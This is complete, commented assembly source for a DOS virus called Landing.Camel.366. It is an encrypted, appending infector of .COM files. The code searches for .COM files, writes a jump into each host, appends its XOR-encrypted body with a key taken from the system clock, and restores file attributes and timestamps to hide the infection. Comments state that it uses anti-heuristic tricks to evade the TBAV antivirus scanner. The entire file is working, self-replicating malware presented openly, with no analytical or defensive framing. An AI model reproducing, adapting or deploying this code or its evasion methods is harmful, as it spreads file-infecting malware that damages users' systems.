;==================================================;|
;	LANDING.CAMEL.2.366			   ;|
;==================================================;|
; 	TSR..................... No		   ;|
; 	Encrypted............... Yes		   ;|
; 	Appending Virus......... Yes		   ;|
; 	COM infector............ Yes		   ;|						
; 	Reset Attributes........ Yes		   ;|
; 	Reset Time/Date......... Yes		   ;|
;==================================================;|
						   ;|
	.MODEL TINY				   ;|
	.286					   ;|
	.CODE					   ;|
						   ;|
	ORG 100H				   ;|
						   ;|
;**************************************************;|
;       This is where the virus starts		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	LANDING_CAMEL:				   ;|
;==================================================;|
						   ;|
	DB	0E9H			 	   ;|contains the jump code
	DW	0				   ;|contains the offset where to jump
						   ;|
;==================================================;|
	VIRUS_START:				   ;|
;==================================================;|
						   ;|
	CALL FIND_OFFSET			   ;|calculate the delta offset
						   ;|
;**************************************************;|
;       Calculate the Delta Offset		   ;|
;**************************************************;|
						   ;|
;==================================================;|
	FIND_OFFSET:				   ;|
;==================================================;|
						   ;|
	POP	BP				   ;|
	SUB	BP,OFFSET FIND_OFFSET		   ;|BP now contains the delta offset
						   ;|
;**************************************************;|
;       Decrypt the virus code			   ;|
;**************************************************;|
						   ;|
	LEA	AX,[ENCRYPT_DECRYPT+BP]		   ;|Load ax with decrypt offset
	CALL	AX				   ;|Decrypt the virus code
						   ;|
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	START_ENCRYPT:				   ;|Start encrypted region
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
						   ;|
;**************************************************;|
;       Restore the original 3 bytes of the file   ;|
;**************************************************;|
						   ;|
	LEA	DI,[BP+JMP_BUF]			   ;|Restore 3 bytes into memory
	MOV	SI,100H				   ;|
	XCHG	SI,DI				   ;|
	PUSH 	DI				   ;|Save 100H for the return
	MOVSW					   ;|Move word into memory
	MOVSB					   ;|Move byte into memory
						   ;|
;**************************************************;|
;       Set a new DTA				   ;|
;**************************************************;|
						   ;|
	LEA	DX,[BP+DTA]			   ;|Set new dta buffer which is 42 bytes
	MOV	AH,1AH				   ;|DOS function=Set Disk Transfer Address
	INT 	21H				   ;|
						   ;|
;**************************************************;|
;       Find first file to infect		   ;|
;**************************************************;|
						   ;|
	MOV	BH,4EH				   ;|DOS function=Find 1st Matching File
	XCHG	AX,BX				   ;|Fool TBAV
	MOV	CX,7				   ;|Any file attribute
	LEA	DX,[BP+TYPE_COM]		   ;|Search for .COM files only
	INT	21H				   ;|
	JC	QUIT				   ;No matching file found
						   ;|
;**************************************************;|
;       Check the extension to ensure it is a COM  ;|
;**************************************************;|
						   ;|
	MOV	CX,13D				   ;|Max size of a file name
	LEA	SI,[BP+OFFSET DTA+1EH]		   ;|Load offset of filename
					 	   ;|
;==================================================;|
	CHECK_EXTENSION:			   ;|Loop to test extension
;==================================================;|
						   ;|
	LODSB					   ;|Load a letter into AL
	CMP	AL,"."				   ;|Is it a point?
	JNE	CHECK_EXTENSION			   ;|No! Test the next letter
	INC	SI				   ;|Yes! Now SI points to second extension letter
	CMP 	WORD PTR [SI], "MO"		   ;|Second and third letters are "OM"?
        JNE     QUIT                               ;|No! Find Next
	JMP	INFECT				   ;|Go infect the bastard
						   ;|
;**************************************************;|
;       All finished so let us be leaving now      ;|
;**************************************************;|
						   ;|
;==================================================;|
	QUIT:					   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Restore original DTA			   ;|
;**************************************************;|
						   ;|
	MOV	AX,80H				   ;|Change the DTA to original
	MOV	DH,1AH				   ;|DOS function=Set Disk Transfer Address
        XCHG    AX,DX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Clear registers 			   ;|
;**************************************************;|
						   ;|
	XOR	AX,AX				   ;|
	XOR	BX,BX				   ;|
	XOR	CX,CX				   ;|
	XOR	DX,DX				   ;|
	XOR	BP,BP				   ;|
	XOR	SI,SI				   ;|
	XOR	DI,DI				   ;|
						   ;|
;**************************************************;|
;       Pass control to the host program in memory ;|
;**************************************************;|
						   ;|
	RET					   ;|	
						   ;|
;==================================================;|
	INFECT:					   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Save original attributes		   ;|
;**************************************************;|
						   ;|
	LEA	DX,[BP+DTA+1EH]			   ;|dx holds the name of the file
	XOR	CH,CH				   ;|
	MOV	CL,[BP+OFFSET DTA+15H]		   ;|get file attributes from DTA
	MOV 	BYTE PTR[BP+OLD_ATTR],CL	   ;|save them into file_attr variable
						   ;|
;**************************************************;|
;       Reset attributes to archive		   ;|
;**************************************************;|
						   ;|
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	XOR	AX,AX				   ;|CX=0 so file attribute is normal file
	XCHG	AX,CX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Open file for reading and writing and xchg ;|
;**************************************************;|
						   ;|
	MOV	AX,3D02H			   ;|DOS function=Open a File (Read and Write)
	LEA	DX,[BP+DTA+1EH]			   ;|DX holds the name of the file
	INT	21H				   ;|
						   ;|
	XCHG	BX,AX			  	   ;|Exchange handle
						   ;|
;**************************************************;|
;       Save original time and date		   ;|
;**************************************************;|
						   ;|
	MOV 	AX,5700H			   ;|DOS function=Get File Time/Date
	INT	21H				   ;|
	MOV	WORD PTR [BP+OLD_TIME],CX	   ;|Save old time in file_time
	MOV	WORD PTR [BP+OLD_DATE],DX	   ;|Save old date in file_date
						   ;|
;**************************************************;|
;       Check file for previous infection	   ;|
;**************************************************;|
						   ;|
	MOV	AH,3FH				   ;|DOS function=Read from File
	LEA	DX,[BP+JMP_BUF]			   ;|Save them into jmpbuf
	MOV	CX,3				   ;|Read 3 bytes
	INT	21H				   ;|
						   ;|
	MOV	AX,WORD PTR [BP+DTA+26]		   ;|Get filesize from DTA in AX
	MOV	CX,WORD PTR [BP+JMP_BUF+1]	   ;|
	ADD	CX,VIRUS_LENGTH+3		   ;|CX=filesize-virus+3
	CMP	CX,AX				   ;|Compare the 2 values
 						   ;|
        JE      CLOSE_FILE                         ;|Already infected!
						   ;|
;**************************************************;|
;       Prepare the jump			   ;|
;**************************************************;|
						   ;|
	MOV	BYTE PTR [BP+BUFFER],0E9H	   ;|JMP code
	MOV	AX,WORD PTR [BP+DTA+26]		   ;|Get file size
	SUB	AX,3				   ;|AX=filesize-3 (size of JMP)
	MOV	WORD PTR [BP+BUFFER+1],AX	   ;|Offset of JMP
						   ;|
;**************************************************;|
;       Goto the beginning of the file		   ;|
;**************************************************;|
						   ;|
	MOV	AX,4200H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|go to beginning of file (BOF)
	XOR	DX,DX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Write our jump				   ;|
;**************************************************;|
						   ;|
	MOV	AX,03H				   ;|DOS function=Write to File
	MOV	CH,40H				   ;|Write 3 bytes to beginning of file
	LEA	DX,[BP+BUFFER]			   ;|From buffer
	XCHG	AX,CX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Goto the end of the file		   ;|
;**************************************************;|
						   ;|
	MOV	AX,4202H			   ;|DOS function=Set File Pointer
	XOR	CX,CX				   ;|Go to end of file (EOF)
	XOR	DX,DX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Get a new encryption key		   ;|
;**************************************************;|
						   ;|
	MOV	AH,2CH				   ;|DOS Function-Get System Time
	INT	21H				   ;|Call Interrupt
						   ;|
	XCHG	CH,CL				   ;|Switch hours with minutes
	ADD	DX,CX				   ;|Add minutes to seconds and hours to hundredths
	XOR	DX,WORD PTR [ENCRYPT_KEY+BP]	   ;|XOR with previous key for increased randomness
	MOV	WORD PTR [ENCRYPT_KEY+BP],DX	   ;|Save the new encryption key
						   ;|
;**************************************************;|
;       Copy the WRITE_VIRUS procedure to the heap ;|
;**************************************************;|
						   ;|
	LEA	SI,[BP+WRITE_VIRUS]		   ;|Copy the WRITE_VIRUS procedure
	LEA	DI,[BP+HEAP_DATA]		   ;|To the heap
	MOV	CX,OFFSET END_WRITE_VIRUS - OFFSET WRITE_VIRUS	;|Size of procedure
	REP	MOVSB				   ;|Copy the code from SI to DI
						   ;|
;**************************************************;|
;       Prepare the write conditions and save them ;|
;**************************************************;|
						   ;|
	MOV	AH,40H				   ;|DOS function=Write to File
	MOV	CX,VIRUS_LENGTH			   ;|Size of virus
	LEA	DX,[BP+VIRUS_START]		   ;|From beginning
	PUSHA					   ;|Save registers to stack
						   ;|
;**************************************************;|
;       Write the virus to the end of the file     ;|
;**************************************************;|
						   ;|
	CALL	HEAP_DATA		 	   ;|Write the virus
						   ;|
;==================================================;|
	CLOSE_FILE:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Restore original time/date attributes      ;|
;**************************************************;|
						   ;|
	MOV	AX,5700H			   ;|DOS function=Set File Time/Date
	MOV	DX,WORD PTR [BP+OLD_DATE]	   ;|DX=original date value
	MOV	CX,WORD PTR [BP+OLD_TIME]	   ;|CX=original time value
	ADD	AX,1				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Close the file				   ;|
;**************************************************;|
						   ;|
	MOV	AH,3EH	                     	   ;|Close file function
	INT	21H                         	   ;|Calling interrupt
						   ;|
;**************************************************;|
;       Restore original file attributes	   ;|
;**************************************************;|
						   ;|
	LEA	DX,[BP+OFFSET DTA+1EH]		   ;|DX=file name
	XOR	AH,AH				   ;|
	MOV 	AL,BYTE PTR [BP+OLD_ATTR]	   ;|CL=original file attribute
	MOV	CX,4301H			   ;|DOS function=Set File Attribute
	XCHG	AX,CX				   ;|
	INT	21H				   ;|
						   ;|
;**************************************************;|
;       Finished infection			   ;|
;**************************************************;|
						   ;|
	JMP	QUIT				   ;|
						   ;|
;**************************************************;|
;       Data entries -ENCRYPTED-		   ;|
;**************************************************;|
						   ;|
	MSG		DB 'Landing.Camel.366',0   ;|Virus name and author
	JMP_BUF		DB 0CDH,20H,0		   ;|INT 20H
	TYPE_COM        DB '*.C*',0		   ;|What kind of files to search
						   ;|
;==================================================;|
	WRITE_VIRUS:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Write the virus to file from the heap	   ;|
;**************************************************;|
						   ;|
	POP	WORD PTR [HEAP_WORD+BP]		   ;|Save return address for RET in heap
	LEA	AX,[ENCRYPT_DECRYPT+BP]		   ;|Load AX with encrypt offset
	CALL	AX				   ;|Encrypt virus code
	POPA					   ;|Restore infection settings
	INT	21H				   ;|Write the virus to file
	LEA	AX,[ENCRYPT_DECRYPT+BP]		   ;|Load AX with decrypt offset
	CALL	AX				   ;|Decrypt virus code
	PUSH	WORD PTR [HEAP_WORD+BP]		   ;|Push RET address from heap back onto stack
	RET					   ;|
						   ;|
	END_WRITE_VIRUS		EQU	$	   ;|End of code running from heap
						   ;|
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
	END_ENCRYPT	EQU	$ - 0001H	   ;|End encrypted region
;++++++++++++++++++++++++++++++++++++++++++++++++++;|
						   ;|
;==================================================;|
	ENCRYPT_DECRYPT:			   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       Encryption/Decryption procedure		   ;|
;**************************************************;|
						   ;|
	LEA	SI,[BP+START_ENCRYPT]		   ;|Start of encryption
	MOV	DI,SI				   ;|Go word by word from start
	MOV	CX,(END_ENCRYPT-START_ENCRYPT+1)/2 ;|Length of encrypted area
						   ;|
;==================================================;|
	XOR_LOOP:				   ;|
;==================================================;|
						   ;|
	LODSW					   ;|Load word from SI into AX
						   ;|and increment SI by one
	JNC	FALSE_JMP1			   ;|Anti-heuristic
						   ;|
;==================================================;|
	FALSE_JMP2:				   ;|
;==================================================;|
						   ;|
	STOSW					   ;|Load word from AX into DI
						   ;|and increment DI by one
	LOOP	XOR_LOOP			   ;|Loop until finished
						   ;|
	RET					   ;|
						   ;|
;==================================================;|
	FALSE_JMP1:				   ;|
;==================================================;|
						   ;|
	DB	35H				   ;|This means XOR AX,WORD VALUE
						   ;|
	ENCRYPT_KEY	DW 	0000		   ;|Random encryption key
						   ;|
	JNC	FALSE_JMP2			   ;|Anti-heuristic
						   ;|
;==================================================;|
	VIRUS_END:				   ;|
;==================================================;|
						   ;|
;**************************************************;|
;       The heap data entries			   ;|
;**************************************************;|
						   ;|
	DTA		DB 43 DUP (?)		   ;|Our new DTA buffer
	OLD_ATTR	DB ?			   ;|Original file attributes
	OLD_TIME	DW ?			   ;|Original file time
	OLD_DATE	DW ?			   ;|Original file date
	BUFFER		DB 3 DUP (?)		   ;|3 bytes buffer. Used for checking
                                        	   ;|if the file was already infected.
	HEAP_WORD	DW ?			   ;|Saves destination IP to stack
						   ;|
;==================================================;|
	HEAP_DATA:				   ;|
;==================================================;|

	VIRUS_LENGTH	EQU	OFFSET VIRUS_END - OFFSET VIRUS_START

	END LANDING_CAMEL

